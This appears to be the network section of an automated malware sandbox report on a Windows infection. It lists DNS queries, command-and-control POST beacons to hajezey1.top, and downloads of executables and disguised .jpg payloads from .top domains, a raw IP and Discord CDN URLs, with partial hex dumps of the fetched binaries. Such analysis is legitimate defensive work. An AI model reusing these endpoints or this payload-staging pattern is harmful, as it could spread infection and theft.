System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\explorer.exe	Domain query: xacokuo8.top
Source: C:\Windows\explorer.exe	Network Connect: 216.128.137.31 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: privacytoolzforyou-6000.top
Source: C:\Windows\explorer.exe	Domain query: hajezey1.top
Source: C:\Windows\explorer.exe	Domain query: sysaheu90.top

Source: global traffic	HTTP traffic detected: GET /attachments/893177342426509335/903575517888925756/6D9E3C88.jpg HTTP/1.1Host: cdn.discordapp.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /attachments/893177342426509335/903575519373697084/F83CB811.jpg HTTP/1.1Host: cdn.discordapp.com
Source: global traffic	HTTP traffic detected: GET /attachments/893177342426509335/903702020781907998/4D0A6361.jpg HTTP/1.1Host: cdn.discordapp.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /attachments/893177342426509335/902526114763767818/A623D0D3.jpg HTTP/1.1Host: cdn.discordapp.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /attachments/893177342426509335/902526117016109056/AB0F9338.jpg HTTP/1.1Host: cdn.discordapp.com
Source: global traffic	HTTP traffic detected: GET /agrybirdsgamerept HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: text/plain; charset=UTF-8Host: toptelete.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: text/plain; charset=UTF-8Content-Length: 128Host: 91.219.236.97
Source: global traffic	HTTP traffic detected: GET //l/f/wJ2RyXwB3dP17SpzKGLv/8868635484462b34cd9494990ed8c03cf2975861 HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: 91.219.236.97

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 29 Oct 2021 18:10:12 GMTServer: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.5.38Last-Modified: Fri, 29 Oct 2021 18:10:01 GMTETag: "54000-5cf81bc649add"Accept-Ranges: bytesContent-Length: 344064Connection: closeContent-Type: application/octet-streamData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 07 15 19 94 43 74 77 c7 43 74 77 c7 43 74 77 c7 2c 02 dc c7 6e 74 77 c7 2c 02 e9 c7 61 74 77 c7 2c 02 dd c7 3c 74 77 c7 4a 0c e4 c7 44 74 77 c7 43 74 76 c7 3c 74 77 c7 2c 02 d8 c7 42 74 77 c7 2c 02 ed c7 42 74 77 c7 2c 02 ea c7 42 74 77 c7 52 69 63 68 43 74 77 c7 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 36 ca 8e 60 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 be 03 00 00 c4 70 02 00 00 00 00 40 c3 01 00 00 10 00 00 00 d0 03 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 c0 74 02 00 04 00 00 31 96 05 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 94 c1 03 00 50 00 00 00 00 50 73 02 a8 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 73 02 3c 1b 00 00 30 12 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 b8 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 dc 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 d0 bc 03 00 00 10 00 00 00 be 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 a4 69 6f 02 00 d0 03 00 00 16 00 00 00 c2 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6c 75 66 75 6c 61 63 e5 02 00 00 00 40 73 02 00 04 00 00 00 d8 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 a8 3f 00 00 00 50 73 02 00 40 00 00 00 dc 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 1c 22 01 00 00 90 73 02 00 24 01 00 00 1c 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 29 Oct 2021 18:10:56 GMTServer: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.5.38Last-Modified: Fri, 29 Oct 2021 18:10:02 GMTETag: "92800-5cf81bc6a9a05"Accept-Ranges: bytesContent-Length: 600064Connection: closeContent-Type: application/octet-streamData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 07 15 19 94 43 74 77 c7 43 74 77 c7 43 74 77 c7 2c 02 dc c7 6e 74 77 c7 2c 02 e9 c7 61 74 77 c7 2c 02 dd c7 3c 74 77 c7 4a 0c e4 c7 44 74 77 c7 43 74 76 c7 3c 74 77 c7 2c 02 d8 c7 42 74 77 c7 2c 02 ed c7 42 74 77 c7 2c 02 ea c7 42 74 77 c7 52 69 63 68 43 74 77 c7 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 5d 6f 8e 60 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 a6 07 00 00 c4 70 02 00 00 00 00 c0 aa 05 00 00 10 00 00 00 c0 07 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 b0 78 02 00 04 00 00 d2 54 09 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 14 a9 07 00 50 00 00 00 00 40 77 02 a8 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 77 02 38 1b 00 00 30 12 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 98 9f 05 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 dc 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 50 a4 07 00 00 10 00 00 00 a6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 a4 69 6f 02 00 c0 07 00 00 16 00 00 00 aa 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 75 6c 6f 66 69 76 e5 02 00 00 00 30 77 02 00 04 00 00 00 c0 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 a8 3f 00 00 00 40 77 02 00 40 00 00 00 c4 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 1c 22 01 00 00 80 77 02 00 24 01 00 00 04 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Fri, 29 Oct 2021 18:11:25 GMTContent-Type: application/octet-streamContent-Length: 916735Connection: keep-aliveLast-Modified: Wed, 01 Sep 2021 16:21:39 GMTETag: "612fa893-dfcff"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 17 19 74 5c 00 10 0c 00 12 10 00 00 e0 00 06 21 0b 01 02 19 00 5a 09 00 00 04 0b 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 70 09 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 b0 0c 00 00 06 00 00 1c 87 0e 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 c0 0a 00 9d 20 00 00 00 f0 0a 00 48 0c 00 00 00 20 0b 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 0b 00 bc 33 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 10 0b 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 f1 0a 00 b4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 58 58 09 00 00 10 00 00 00 5a 09 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 fc 1b 00 00 00 70 09 00 00 1c 00 00 00 60 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 14 1f 01 00 00 90 09 00 00 20 01 00 00 7c 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 b0 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 9d 20 00 00 00 c0 0a 00 00 22 00 00 00 9c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 48 0c 00 00 00 f0 0a 00 00 0e 00 00 00 be 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 00 0b 00 00 02 00 00 00 cc 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 10 0b 00 00 02 00 00 00 ce 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 20 0b 00 00 06 00 00 00 d0 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 bc 33 00 00 00 30 0b 00 00 34 00 00 00 d6 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 d8 02 00 00 00 70 0b 00 00 04 00 00 00 0a 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 d8 98 00 00 00 80 0b 00 00 9a 00 00 00 0e 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 f5 1a 00 00 00 20 0c 00 00 1c 00 00 00 a8 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 80 1a 00 00 00 40 0c 00 00 1c

Source: unknown

HTTPS traffic detected: 162.159.133.233:443 -> 192.168.2.5:49826 version: TLS 1.0

Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://xauocndh.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 146Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://gurxx.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 347Host: hajezey1.top
Source: global traffic	HTTP traffic detected: GET /downloads/toolspab2.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: privacytoolzforyou-6000.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ktkcvjuue.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 249Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://adlotmsqn.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 200Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://edkykp.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 369Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://koyxalg.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 115Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://hxdci.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 332Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://uixmltkfi.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 153Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://uqqrnpr.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 313Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ihqsjj.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 118Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://civbpqln.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 113Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://pqobqf.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 218Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://cuuhert.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 127Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://cpmovtar.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 244Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://csbokajdc.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 140Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://adqaqqqe.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 306Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://bjcvackirk.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 113Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://lylgknghko.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 302Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://wexymhl.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 156Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://glqydpsa.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 217Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://kqbwtkcju.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 120Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://mdonp.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 127Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://hfxrwj.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 221Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://jxvawpr.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 164Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ctbemocusw.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 178Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://wofjmrw.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 368Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://xdcmurwfts.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 260Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://drroxf.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 173Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://lqvvicnwkv.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 145Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://hmylopjj.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 165Host: hajezey1.top
Source: global traffic	HTTP traffic detected: GET /game.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: sysaheu90.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://pvxvmaqhni.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 229Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://bhlsdp.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 354Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://vexln.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 309Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ukjpg.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 189Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://oahqstcrl.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 113Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://sowcs.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 312Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://yhtqeo.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 272Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://wepobp.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 352Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://uriot.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 337Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://isqhctlhh.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 257Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://pbejr.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 316Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ufipchi.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 236Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://vlotoun.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 314Host: hajezey1.top

Source: global traffic

TCP traffic: 192.168.2.5:49842 -> 93.115.20.139:28978

Source: 152F.exe, 00000023.00000003.505435036.0000000002F2C000.00000004.00000001.sdmp	String found in binary or memory: http://91.219.236.97/
Source: 152F.exe, 00000023.00000003.505077428.0000000002EEE000.00000004.00000001.sdmp	String found in binary or memory: http://91.219.236.97/.top&)
Source: 152F.exe, 00000023.00000003.505435036.0000000002F2C000.00000004.00000001.sdmp, 152F.exe, 00000023.00000003.505077428.0000000002EEE000.00000004.00000001.sdmp	String found in binary or memory: http://91.219.236.97//l/f/wJ2RyXwB3dP17SpzKGLv/8868635484462b34cd9494990ed8c03cf2975861
Source: 152F.exe, 00000023.00000003.505435036.0000000002F2C000.00000004.00000001.sdmp	String found in binary or memory: http://91.219.236.97//l/f/wJ2RyXwB3dP17SpzKGLv/8868635484462b34cd9494990ed8c03cf2975861(
Source: 152F.exe, 00000023.00000003.505077428.0000000002EEE000.00000004.00000001.sdmp	String found in binary or memory: http://91.svchost.exe
Source: 77DC.exe	String found in binary or memory: http://fontello.com
Source: 152F.exe, 00000023.00000003.497798547.0000000002EDB000.00000004.00000001.sdmp	String found in binary or memory: http://telegalive.top/
Source: 152F.exe, 00000023.00000003.497798547.0000000002EDB000.00000004.00000001.sdmp	String found in binary or memory: http://telegalive.top/O
Source: A557.exe, A557.exe, 0000001D.00000000.427496231.00000000002D2000.00000002.00020000.sdmp	String found in binary or memory: http://tempuri.org/DetailsDataSet1.xsd
Source: AdvancedRun.exe, AdvancedRun.exe, 0000001E.00000000.426329937.000000000040C000.00000002.00020000.sdmp	String found in binary or memory: http://www.nirsoft.net/
Source: A557.exe	String found in binary or memory: https://cdn.discordapp.com/attachments/8
Source: A557.exe, A557.exe, 0000001D.00000000.427496231.00000000002D2000.00000002.00020000.sdmp	String found in binary or memory: https://cdn.discordapp.com/attachments/893177342426509335/902526114763767818/A623D0D3.jpg
